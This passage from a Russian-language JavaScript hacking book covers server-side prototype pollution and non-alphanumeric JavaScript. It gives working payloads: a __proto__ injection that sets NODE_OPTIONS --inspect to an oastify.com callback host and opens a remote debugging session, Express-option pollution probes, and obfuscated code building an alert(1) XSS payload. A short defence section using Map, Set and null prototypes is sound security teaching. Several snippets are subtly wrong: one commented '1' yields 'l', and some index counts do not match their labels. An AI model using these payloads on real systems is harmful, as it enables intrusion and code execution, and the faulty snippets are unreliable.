Для обнаружения SSPP (server-side prototype pollution, серверного загрязнения прототипа) методом чёрного ящика существуют разные приёмы. Лучший использует возможность `--inspect` в Node. Параметр `inspect` позволяет указать хост удалённого сеанса отладки с сервером. Это полезно по двум причинам: во-первых, можно получить обратный запрос на подконтрольный сервер; во-вторых, по самой своей природе Inspect разрешает выполнять на сервере произвольный JavaScript. Инструменты вроде Burp Collaborator сообщат о взаимодействии, которое почти гарантированно подтверждает загрязнение прототипа. Я придумал этот приём, читая превосходную статью об эксплуатации загрязнения прототипа Михаила Щербакова, Мусарда Баллиу и Кристиана-Александру Стайку[1].

При выполнении определённых приёмников в Node им передаётся `NODE_OPTIONS` - переменная среды, используемая при запуске команды. Она тоже уязвима для загрязнения прототипа, поэтому можно управлять параметрами командной строки процесса Node. Внедрение выглядит так:

```
{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=id.oastify.com"
  }
}
```

Я загрязняю `NODE_OPTIONS`, получая управление параметром `inspect`. Свойства `argv0` и `shell` запускают оболочку, как описано в упомянутой статье. Напрямую передать оболочке параметры командной строки нельзя, поэтому необходим гаджет `NODE_OPTIONS`. Если происходит загрязнение и вызывается опасный приёмник, вы получите взаимодействие с хостом из `inspect`. Способ работает отлично, но сервер может извлекать из JSON имена хостов, создавая ложные срабатывания. Для обхода достаточно обфусцировать имя двойными кавычками. Это работает во всех ОС и мешает средствам извлечения распознать хост.

```
{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
  }
}
```

Предыдущий пример прекрасен, когда вызывается опасный приёмник. Но что делать, если приложение уязвимо, а опасный приёмник ещё не найден? Нужны аккуратные способы подтвердить загрязнение, не выводя сервер из строя.

Я написал статью об обнаружении загрязнения прототипа без DoS сервера[2]. Один пример использует свойство `status`, позволяющее управлять кодом состояния при недопустимом запросе к серверу Express. Идея состоит в том, чтобы назначить маловероятный код, например 510, а затем отправить недопустимый запрос, например ошибочный JSON. Ответ 510 подтвердит успех. После проверки код можно сбросить, не нарушая работу приложения.

Сначала отправьте недопустимый JSON и посмотрите ответ:

```
{,}
```

Стандартный ответ Express - `400 Bad Request`. Теперь отправьте вектор загрязнения:

```
{
    "__proto__":{
       "status": 510
    }
}
```

Затем повторите недопустимый JSON-запрос:

```
{,}
```

Ответ `510 Not Extended` означает успех. Эти два вектора особенно полезны для автоматического сканирования и представляют собой самый чистый известный мне способ обнаружения SSPP.

6.3.2. Ручная проверка серверного загрязнения прототипа

В ситуациях, плохо поддающихся автоматизации, загрязнение можно проверять вручную. Предыдущие векторы подходят и для этого, но существуют методы, особенно удобные при ручной проверке.

6.3.2.1. Изменение предела параметров

Express позволяет управлять максимальным числом параметров приложения. Я обнаружил, что этот предел можно менять загрязнением прототипа. Это удобно для ручного исследования: достаточно установить большое значение, не влияющее на обычную работу. Сначала отправьте набор параметров, один из которых отражается в ответе.

```
/
    ?a=1&b=1&c=1&d=1&e=1&f=1&g=1&h=1&i=1&j=1&k=1&l=1&m=1&n=1&o=1&p=1&q=1&r=1&s=1&t=1&u=1&v=1
    &w=1&x=1&y=1&z=1&targetParam=reflected
```

Затем загрязните соответствующее свойство. Если после атаки параметр перестал отражаться, сайт может быть уязвим.

```
{
    "__proto__":{
        "parameterLimit":26
    }
}
```

Я выбрал предел 26, поскольку использовал буквы алфавита. Можно взять любое число параметров, но оно должно быть достаточно большим, чтобы не мешать нормальной работе приложения.

Значение можно вернуть к 1000, которое, насколько мне известно, используется по умолчанию:

```
{
    "__proto__":{
        "parameterLimit":1000
    }
}
```

Восстановить исходное значение полезно по двум причинам. Во-первых, сайт может быть рассчитан на большое число параметров и ожидать значение по умолчанию. Во-вторых, это уменьшает ложные срабатывания, связанные с балансировщиками нагрузки и кешированием.

6.3.3. Знаки вопроса в имени параметра

Как и предел параметров, это ещё один параметр Express. Он позволяет игнорировать знак вопроса в имени параметра. Для загрязнения прототипа это удобно: двойной вопросительный знак в обычном имени крайне маловероятен. Кроме того, в сочетании с загрязнением приём применим для отравления кеша: можно управлять неожиданным для приложения параметром и сохранить значение в кеше, а затем передать жертве кешированный URL.

Сначала снова нужен отражаемый параметр, затем выполняется загрязнение.

```
{
    "__proto__":{
        "ignoreQueryPrefix":true
    }
}
```

После атаки проверьте, отражается ли параметр при двух вопросительных знаках:

```
??targetParam=reflected
```

Если отражение сохранилось, атака сработала. По указанным ранее причинам параметр следует снова отключить, задав `false` вместо `true`:

```
{
    "__proto__":{
        "ignoreQueryPrefix":false
    }
}
```

Если теперь параметр не отражается, это весомый признак загрязнения прототипа.

6.3.4. Преобразование параметров в объекты JavaScript

Последний рассматриваемый параметр Express - `allowDots`. Он разрешает указывать в строке запроса свойства, после чего значение преобразуется в объект JavaScript. Такая возможность полезна в цепочке уязвимостей против приложения, ожидающего объект в определённых параметрах.

Снова требуется отражение параметра. Сначала подтвердите его:

```
?foo=123
```

Затем добавьте к параметру свойство:

```
?foo.bar=baz
```

Теперь значение параметра равно `undefined`. Выполните загрязнение, изменяющее параметр Express.

```
{
    "__proto__":{
        "allowDots":true
    }
}
```

После атаки снова проверьте отражение:

```
?foo.bar=baz
```

На этот раз отражается результат `toString()` объекта JavaScript:

```
HTTP/1.1 200 OK
foo=[object Object]
```

Как и прежде, параметр можно отключить и подтвердить изменение поведения сервера, а вместе с ним и загрязнение прототипа. Эти ручные методы очень полезны: при осторожном применении они не вызывают DoS и надёжно обнаруживают уязвимость. Однако экосистема JavaScript меняется быстро, и параметры Express уже исправлены. В старых версиях Express, встречающихся в реальных системах, методы всё ещё могут работать. Я документирую их прежде всего в надежде, что вы найдёте собственные. Исследовать сервер с возможным загрязнением трудно без надёжных методов, незаметно меняющих поведение приложения; надеюсь, я вдохновил вас искать новые.

6.3.5. Защита

Защититься от загрязнения прототипа довольно просто: не используйте обычные объекты как ассоциативные массивы. Вместо них применяйте `Map` и `Set`, безопасно проверяющие свойства без обращения к цепочке прототипов. Предположим, у очистителя есть перечень разрешённых значений. Здесь лучше `Set`, а не обычный объект.

```
let allowedTags = new Set();
allowedTags.add('b');
if(allowedTags.has('b')) {
   //
}
```

Мы создаём `Set` и добавляем тег полужирного текста. Для проверки списка разрешений достаточно метода `has()`. Он проверяет только заданное значение, не проходит по цепочке прототипов и потому не уязвим.

Если нужны пары ключ-значение, снова не используйте обычный объект. Возьмите `Map`.

```
let options = new Map();
options.set('foo', 'bar');
console.log(options.get('foo'))//bar
```

Метод `get()` объекта `Map` также не обращается к цепочке прототипов, поэтому, подобно `Set`, не уязвим. При правильном использовании этих методов вы в безопасности. Но мне встречался крайне плохой код, который создавал `Map` или `Set`, а затем не применял их методы. Если читать или присваивать свойства таких объектов напрямую, загрязнение прототипа снова становится возможным. Не делайте так.

Node можно укрепить против загрязнения прототипа. Ключевое слово здесь - «укрепить», а не «полностью защитить». Параметр командной строки или переменная среды позволяют целиком удалить `__proto__`, делая соответствующие атаки неэффективными. Но векторы через `constructor` остаются возможными, поэтому не позволяйте параметру внушить ложное чувство безопасности. Запуск выглядит так:

```
node --disable-proto=delete app.js
```

Наконец, у вас может быть устаревшее приложение, использующее обычные объекты как ассоциативные массивы. Только в этом случае можно назначить нулевой прототип, чтобы объект не наследовал от `Object.prototype`. Не пишите так новый код: в будущем свойство `__proto__` могут удалить.

```
Object.prototype.x=123
let optionsObject = {__proto__:null};
console.log(optionsObject.x);//undefined
```

Нулевой прототип означает полное отсутствие унаследованных свойств, включая `toString()`. Если объект всё же необходим, а `__proto__` применять не хочется, используйте метод `create()` глобального конструктора `Object`. При передаче `null` он создаст объект с нулевым прототипом:

```
Object.create(null)
```

6.4. Итоги

В этой главе мы познакомились с загрязнением прототипа и определили понятия метода, источника и гаджета. Мы научились находить загрязнение и изменять через него встроенные функции. Затем обсудили уязвимость самих встроенных API JavaScript, использующих объекты в параметрах. Мы показали ручной поиск потенциальных гаджетов, перешли к серверному загрязнению прототипа, научились отлаживать приложения Node и применять те же методы, что и на клиенте, а также рассмотрели автоматические и ручные способы обнаружения. В завершение мы разобрали защиту и написание кода, неуязвимого для SSPP.

Сноски

[1] [назад] arxiv.org
[2] [назад] portswigger.net

Глава 7. Неалфавитно-цифровой JavaScript

7.1. Написание неалфавитно-цифрового JavaScript

Всё началось с того, что участники форума Slackers заметили удивительную новую публикацию выдающегося японского исследователя безопасности Ёсукэ Хасэгавы. Он подробно объяснил, как выполнять JavaScript без алфавитно-цифровых символов. Для всех нас это стало откровением, и мы принялись разбирать механизм. Основная идея состояла в том, чтобы квадратными скобками и выражениями JavaScript создавать строки, а затем с помощью числовых индексов, тоже построенных из выражений, извлекать и соединять символы. Так получались допустимые имена свойств, а в конечном счёте - произвольный JavaScript без единого алфавитно-цифрового символа. Этот приём также известен как JSF*ck; я скрыл букву u, чтобы в книге не отображалось ругательство. Далее я буду использовать семейное название: «неалфавитно-цифровой JavaScript», или сокращённо неалфавитный JS.

Чтобы построить такой код, прежде всего нужен способ получить число. Благодаря слабой типизации JavaScript это можно сделать префиксным оператором +: он пытается преобразовать следующее за ним выражение в число либо возвращает `NaN` (Not a Number), если преобразование невозможно. Начнём с нуля.

Рисунок 118. Преобразование пустого массива в ноль

```
+[]//0
```

Отлично, ноль получен, но он позволяет взять лишь первый символ строки.

Рисунок 119. Доступ к первому символу строки

```
'abc'[+[]]//a
```

Как получить b? Квадратные скобки можно совместить с массивом, взять ссылку на его элемент, а затем увеличить или уменьшить это значение так же, как если бы оно было идентификатором.

Рисунок 120. Получение других чисел приёмом с инкрементом

```
[+[]]//создаёт массив с числом 0

[+[]][+[]]//получает первый элемент массива

++[+[]][+[]]//увеличивает первый элемент массива и создаёт 1

'abc'[++[+[]][+[]]]//объединяет всё сказанное и получает b
```

Надеюсь, вы успеваете следить за рассуждением. Возможно, стоит по отдельности вычислить каждый фрагмент в консоли, чтобы понять происходящее. Освоив идею, вы сможете довольно легко создавать строки и числа. Достаточно вкладывать сгенерированные массивы, продолжать увеличивать значения и соединять буквы в имена свойств JavaScript. Получим число два; пробелы помогут различать числа.

Рисунок 121. Получение числа два

```
++[ ++[+[]][+[]] ] [+[]]//2
```

Обычно пробелы не нужны, я добавил их только для наглядности. Создаётся массив с `+[]`, то есть нулём, затем через `+[]` берётся его первый элемент и оператором инкремента число увеличивается. После этого выражение заключается в другой массив и процесс повторяется. Чем больше вложенность, тем труднее чтение, но, поняв принцип, вы сможете писать такой код.

Теперь можно получить `c` из нашей строки.

Рисунок 122. Получение символа `c`

```
'abc'[++[ ++[+[]][+[]] ] [+[]]]
```

Основы генерации чисел без алфавитно-цифровых символов у нас есть. Как получить строки? Снова воспользуемся слабой типизацией JavaScript и преобразуем в строки значения других типов. Например, из логического `false` можно извлечь символы `f`, `a`, `l`, `s`, `e`. Процесс похож на получение чисел, но применяется оператор логического отрицания. Он возвращает `false`, если операнд преобразуется в истину, и наоборот. Значит, пустой массив можно преобразовать в логическое значение.

Рисунок 123. Получение `false`

```
![]//false
```

Теперь логическое значение нужно превратить в строку, чтобы извлекать символы. Просто соединим его с другим массивом: логическое значение станет строкой, а пустой массив - пустой строкой.

Рисунок 124. Создание строки `false`

```
![]+[]//false (строка)
```

Строка получена. Как извлечь символы? Поместим выражение в массив, возьмём первый элемент, то есть строку, а затем по индексу получим отдельный символ.

Рисунок 125. Получение `f` из `false`

```
[![]+[]]//добавляет строку false в массив
[![]+[]][+[]]//получает первый элемент массива
[![]+[]][+[]][+[]]//f - получает первый символ строки
```

Остальные символы получаются тем же способом с увеличением индексов. Проще всего подписывать выражения комментариями, как делаю я, а затем объединять их. Следующий символ находится в позиции один. Возьмём фрагмент для единицы.

Рисунок 126. Получение числа один

```
++[+[]][+[]]//1
```

И строку `false` из другого примера.

Рисунок 127. Получение строки `false`

```
[![]+[]][+[]]//false (строка)
```

Объединим их: сначала строка `false`, затем средство доступа с числом.

Рисунок 128. Получение символа `a`

```
[   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//a
```

Пробелы добавлены для ясности. Собирая символы, разумно сохранять их в текстовом файле с комментариями: так из них проще строить строки. Надеюсь, теперь вы уверенно создаёте символы. Получим оставшиеся буквы `false`.

Рисунок 129. Получение символа `l`

```
[   ![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]//l
```

Я лишь изменил индексную часть предыдущего фрагмента, ещё раз увеличив число: заключил его в массив, получил первый элемент и выполнил инкремент. Оставшиеся символы создаются так же.

Рисунок 130. Получение символов `s` и `e`

```
[   ![]+[]]   [+[]]    [   ++[++[++[+[]][+[]]][+[]]][+[]]    ]//s
[   ![]+[]]   [+[]]    [   ++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]    ]//e
```

При сравнении выражений для `s` и `e` видно, что изменение совсем невелико. Весь процесс можно повторно использовать для получения противоположного `false` значения `true`. Всё-таки это книга о хакинге JavaScript, и мы обязаны искать сокращения. Оператор `!` превращает `[]` в `false`; повторное отрицание превращает его в `true`.

Рисунок 131. Получение `true`

```
!![]//true
```

В ранее построенных примерах достаточно заменить один восклицательный знак двумя. Например:

```
[![]+[]][+[]][+[]]//f
```

превращается в:

```
[!![]+[]][+[]][+[]]//t
```

И так далее:

```
[   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//r
[   !![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]//u
```

Символ `e` уже есть, повторно создавать его не нужно. Теперь вы видите, насколько просто генерировать буквы. Но как получить произвольный JavaScript? Сначала необходим доступ к какой-либо функции. Для этого нужно создать символы, которые в средстве доступа дадут функцию. Затем через свойство `constructor` этой функции можно получить конструктор `Function`. Догадываетесь, к чему мы идём? Имея `Function`, можно создать произвольный JavaScript, но об этом позднее.

Сначала получим функцию. К счастью, из уже созданных символов складывается короткое имя `at`. Функция `at` возвращает отдельный символ строки или элемент массива, в зависимости от объекта. Мы выбрали её именно из-за короткого имени. Начнём с пустого массива:

```
[]
```

Добавим средство доступа:

```
[] [   ]
```

Внутрь поместим строку `a`, соединённую с `t`:

```
[] [   [   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ] /*a*/   +   [!![]+[]][+[]][+[]]  /*t*/
      ]//функция at
```

Доступ к функции позволяет получить гораздо больше символов, поскольку функцию можно преобразовать в строку.

```
[].at+''//function at() { [native code] }
```

Из ещё не созданных символов слова `constructor` остаются `o`, `c` и `n`. Символ `n` можно извлечь из `undefined`. Сначала создадим пустой массив и обратимся к его первому элементу:

```
[][+[]]//undefined
```

Затем преобразуем результат в строку и возьмём второй символ, расположенный в позиции один:

```
[[][+[]]+[]][+[]][++[+[]][+[]]]//n
```

Остальные буквы для свойства `constructor` получим через функцию `at`: преобразуем её в строку, создадим нужные позиции и извлечём символы. Сначала создадим пустой массив и обратимся к первому элементу:

```
[][+[]]
```

Теперь поместим функцию в массив и соединим с пустым массивом, получая строку:

```
[    [] [[![]+[]][+[]][++[+[]][+[]]]+ [!![]+[]][+[]][+[]]] +[]     ][+[]]
```

Эту строку можно использовать для получения c:

```
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
//function at() { [native code] } в виде строки
[++[++[++[+[]][+[]]][+[]]][+[]]//3
//оба выражения вместе дают c
```

Первая строка создаёт строковое представление функции at, вторая обращается к третьей позиции, где находится c. Для o повторим процесс, взяв шестую позицию.

```
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
//function at() { [native code] } в виде строки
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]//6
//оба выражения вместе дают o
```

Как детали головоломки, соединим все символы и получим свойство constructor:

```
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]]
//c

+

[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]
//o

+

[[][+[]]+[]][+[]][++[+[]][+[]]]//n

+

[   ![]+[]]   [+[]]    [   ++[++[++[+[]][+[]]][+[]]][+[]]    ]//s

+

[!![]+[]][+[]][+[]]//t

+

[   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//r

+

[   !![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]//u

+

[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]]
//c

+

[!![]+[]][+[]][+[]]//t

+

[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]
//o

+

[   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//r
```

Я разделил буквы и поместил между ними оператор соединения строк, чтобы было видно устройство. Вместе они образуют строку `constructor`. Для получения самого конструктора нужно применить функцию `at()`, к которой мы получили доступ ранее, не преобразуя её в строку.

```
[    [] [[![]+[]][+[]][++[+[]][+[]]]+ [!![]+[]][+[]][+[]]]      ][+[]]
//функция at()
[//добавлены квадратные скобки, образующие средство доступа предыдущей функции

[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]][+[]]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]+[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][
    +[]]
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[[][+[]]+[]][+[]][++[+[]][+[
    ]]]+[![]+[]][+[]][++[++[++[+[]][+[]]][+[]]][+[]]][+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][++[
    +[]][+[]]]+[!![]+[]][+[]][++[++[+[]][+[]]][+[]]]+[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![
    ]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]]+[!![]+[]][+[]][+[]]+[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![
    ]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[!![]+[]][+[]][++[+[]][+[]]]

]//добавлены квадратные скобки, образующие средство доступа предыдущей функции

//вместе выражения дают конструктор Function
```

Мы объединили функцию `at()` с последующим средством доступа `[]`, внутри которого находится строка `constructor`, и получили конструктор `Function`.

Теперь произвольный JavaScript можно выполнить, передав строку конструктору `Function` и вызвав результат дважды.

Остаётся создать передаваемую строку. По традиции XSS-нагрузок вызовем `alert(1)`. Буквы и число один у нас уже есть:

```
[   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//a
[   ![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]//1
[   ![]+[]]   [+[]]    [   ++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]    ]//e
[   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//r
[!![]+[]][+[]][+[]]//t
++[+[]][+[]]//1
```

Нужно получить открывающую и закрывающую круглые скобки. Возьмём код, где функция `at()` преобразуется в строку, а затем выбирается шестая позиция:

```
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]][+[]]]+[]][+[]]
//function at() { [native code] } в виде строки
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]//6
```

Увеличим шесть и получим позицию 11:

```
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]][+[]]]+[]][+[]]//function at() { [native
    code] } в виде строки
[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[
    ]]][+[]]][+[]]//11
//даёт (
```

Увеличим результат ещё на единицу:

```
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]][+[]]]+[]][+[]]
//function at() { [native code] } в виде строки
[++[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[
    ]]][+[]]][+[]]][+[]]//12
//даёт )
```

Теперь нужно расположить части в правильном порядке, передать их построенному конструктору `Function` и не забыть оператор + между строками.

```
[    [] [[![]+[]][+[]][++[+[]][+[]]]+ [!![]+[]][+[]][+[]]]      ][+[]]

[

[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]]+[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][
    +[]]
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[[][+[]]+[]][+[]][++[+[]][+[
    ]]]+[![]+[]][+[]][++[++[++[+[]][+[]]][+[]]][+[]]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][++[
    +[]][+[]]]+[!![]+[]][+[]][++[++[+[]][+[]]][+[]]]+[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![
    ]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]]+[!![]+[]][+[]][+[]]+[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![
    ]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[!![]+[]][+[]][++[+[]][+[]]]

]
(
[   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ]+//a
[   ![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]+//l
[   ![]+[]]   [+[]]    [   ++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]    ]+//e
[   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]+//r
[!![]+[]][+[]][+[]]+//t
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
//function at() { [native code] } в виде строки
[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[
    ]]][+[]]][+[]]]+
//(

++[+[]][+[]]+//1
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
//function at() { [native code] } в виде строки
[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[
    ]]][+[]]][+[]]][+[]]]//12
//)
)
```

Надеюсь, вы следовали за ходом рассуждений и теперь умеете создавать неалфавитный JS. Код можно оптимизировать: например, `[![]+[]][+[]]` сокращается до `(![]+[])`. Подобных мест много. В качестве упражнения попробуйте свести выражение к минимальному размеру. Вы ещё лучше изучите JavaScript и вскоре будете писать неалфавитный код как обычный.

7.2. Неалфавитный код без круглых скобок

Теперь применим знания из предыдущих глав и построим неалфавитный код без круглых скобок. Разрешим лишь следующий набор символов:

```
[]`+!${}
```

Как вы уже знаете, шаблонные строки выполняют JavaScript через подстановки и передают аргументы функциям. Этим и воспользуемся, чтобы вызвать конструктор `Function` со строкой `alert`.

Код из предыдущего раздела уже даёт доступ к `Function`, поэтому его можно использовать повторно.

Мы вызовем конструктор теговой шаблонной строкой, то есть поставим после функции обратную кавычку, а затем создадим передаваемую строку. Символ `$` предоставит конструктору неиспользуемый аргумент. Он необходим, поскольку первым переданным аргументом управлять нельзя. Чтобы понять происходящее, вычислите следующий вызов и посмотрите результат:

```
Function`$${"x"}$`
/*
function anonymous($,$
) {
x
}
*/
```

Функция вызывается с двумя следующими друг за другом `$`, а третий аргумент образует код. Первый аргумент преобразуется из массива в строку, поэтому знаки доллара приходится ставить до и после подстановки. Без них конструктор выдаст исключение из-за недопустимого JavaScript. Очень кстати, что `$` является допустимым идентификатором JavaScript и может служить именем параметра. Повторно используем прежний код: сначала конструктор `Function`, затем `$`, подстановка со строкой `alert` и ещё один `$`. Завершающая обратная кавычка вызывает созданную функцию.

```
[[][[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]][+[]]]][+[]][[][[![]+[]][+[]][+[]][++[+[]][+[]]]+[
    !![]+[]][+[]][+[]]]+[]][+[]][++[++[++[+[]][+[]]][+[]]][+[]]]+[]][[![]+[]][+[]][++[+[]][
    +[]]]+[!![]+[]][+[]][+[]]]+[]][+[]][++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[
    ]]][+[]]]+[[][+[]]+[]][+[]][++[+[]][+[]]]+[![]+[]][+[]][++[++[++[+[]][+[]]][+[]]][+[
    ]]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][++[++[+[]][+[]]][+[
    ]]]+[[][[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]][++[++[++[+[]][+[]]][+[
    ]]][+[]]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][
    +[]][++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[!![]+[]][+[]][++[+[]][
    +[]]]]

`$${[![]+[]][+[]][++[+[]][+[]]]+
[![]+[]][+[]][++[++[+[]][+[]]][+[]]]+
[![]+[]][+[]][++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]]+
[!![]+[]][+[]][++[+[]][+[]]]+
[!![]+[]][+[]][+[]]+
[[][[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]][++[++[++[++[++[++[++[++[++[++[
    ++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]]+
++[+[]][+[]]+
[[][[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]][++[++[++[++[++[++[++[++[++[++[
    ++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]]
}$`
```

7.3. Стена из шести символов

После множества экспериментов на форуме Slackers мы пришли к выводу, что для выполнения произвольного JavaScript необходимо как минимум шесть разных символов. Это стало известно как великая стена символов. Ограничение возникает потому, что без `!` нельзя создавать логические значения, а без `+` `-` преобразовывать значения в целые числа и соединять строки, не добавляя других символов. Самый вероятный путь разрушить стену - взять набор `+`[1] и найти способ получить логическое значение. Они важны потому, что `false` содержит `s`, а `true` - `r`. Без этих букв невозможно построить свойство `constructor`, а следовательно, получить необходимую строку для доступа к нему.

7.4. К бесконечности и дальше

Чтобы попытаться разрушить стену, потребуется больше символов, иначе доступны только `NaN` и `undefined`. Однако даже из одних `+[]` можно получить `Infinity`.

Посмотрим как. Сначала, как прежде, создадим единицу, затем строку `undefined` и возьмём из неё `e`. После этого присоединим ещё несколько единиц и получим строку `1e1111`, которая превращается в `Infinity`.

Исходник сначала повторяет фрагмент получения шестой позиции строкового представления `at`:

```
[[] [[!+[]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
//function at() { [native code] } в виде строки
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]//6
```

Сначала получим единицу:

```
++[+[]][+[]]//1
```

Затем строку `undefined`:

```
[][+[]]+[]//undefined в виде строки
```

Извлечём из `undefined` символ `e`:

```
[[][+[]]+[]][+[]][++[++[++[+[]][+[]]+[]][+[]]][+[]]][+[]]//e
```

Объединим части в `1e1111`:

```
[++[+[]][+[]]+[[][+[]]+[]][+[]][++[++[++[+[]][+[]]+[]][+[]]][+[]]+[++[+[]][+[]]]+[++[+[][
    +[]]]+[++[+[]][+[]]]+[++[+[]][+[]]]]
```

Наконец, преобразуем массив или строку в число префиксным `+`, заключим в массив и обратимся к строковому представлению:

```
[[+[++[+[]][+[]]+[[][+[]]+[]][+[]][++[++[++[+[]][+[]]+[]][+[]]][+[]]+[++[+[]][+[]]]+[++[+[
    ]][+[]]]+[++[+[]][+[]]]+[++[+[]][+[]]]+[]][+[]]
//Infinity в виде строки
```

Видно, насколько близко мы подошли к разрушению стены. Но отсутствие логических значений критично для доступа к `constructor`. Остаётся надеяться, что браузеры добавят новые возможности или методы, позволяющие получить нужные символы. Пока стена по-прежнему состоит из шести символов.

7.5. Итоги

В этой главе мы научились создавать числа средствами неалфавитно-цифрового JavaScript, получать с их помощью строки, извлекать из строк дополнительные символы через свойства и преобразование результата в строку. Затем я показал, как собрать эти части и выполнить произвольный JavaScript. После этого мы создали неалфавитный код без круглых скобок. Наконец, вы познакомились с великой стеной символов и способом получить `Infinity`, используя только `+[]`.

Сноски

[1] [назад] В исходнике после символа + стоит маркер сноски 1, но текст сноски на странице отсутствует.

Глава 8. XSS

Эта глава целиком посвящена межсайтовому выполнению сценариев, ласково называемому XSS, хотя само название не слишком осмысленно. XSS может быть хранимым и выполняться на том же сайте, а сценарий между разными источниками может не быть межсайтовым. Но название прижилось, и теперь, к лучшему или худшему, все понимают, о чём речь. Я рассмотрю несколько, возможно, неизвестных вам приёмов XSS и объединю методы из предыдущих глав, чтобы получить интересные полезные нагрузки. Приступим.

8.1. Закрытие элементов script

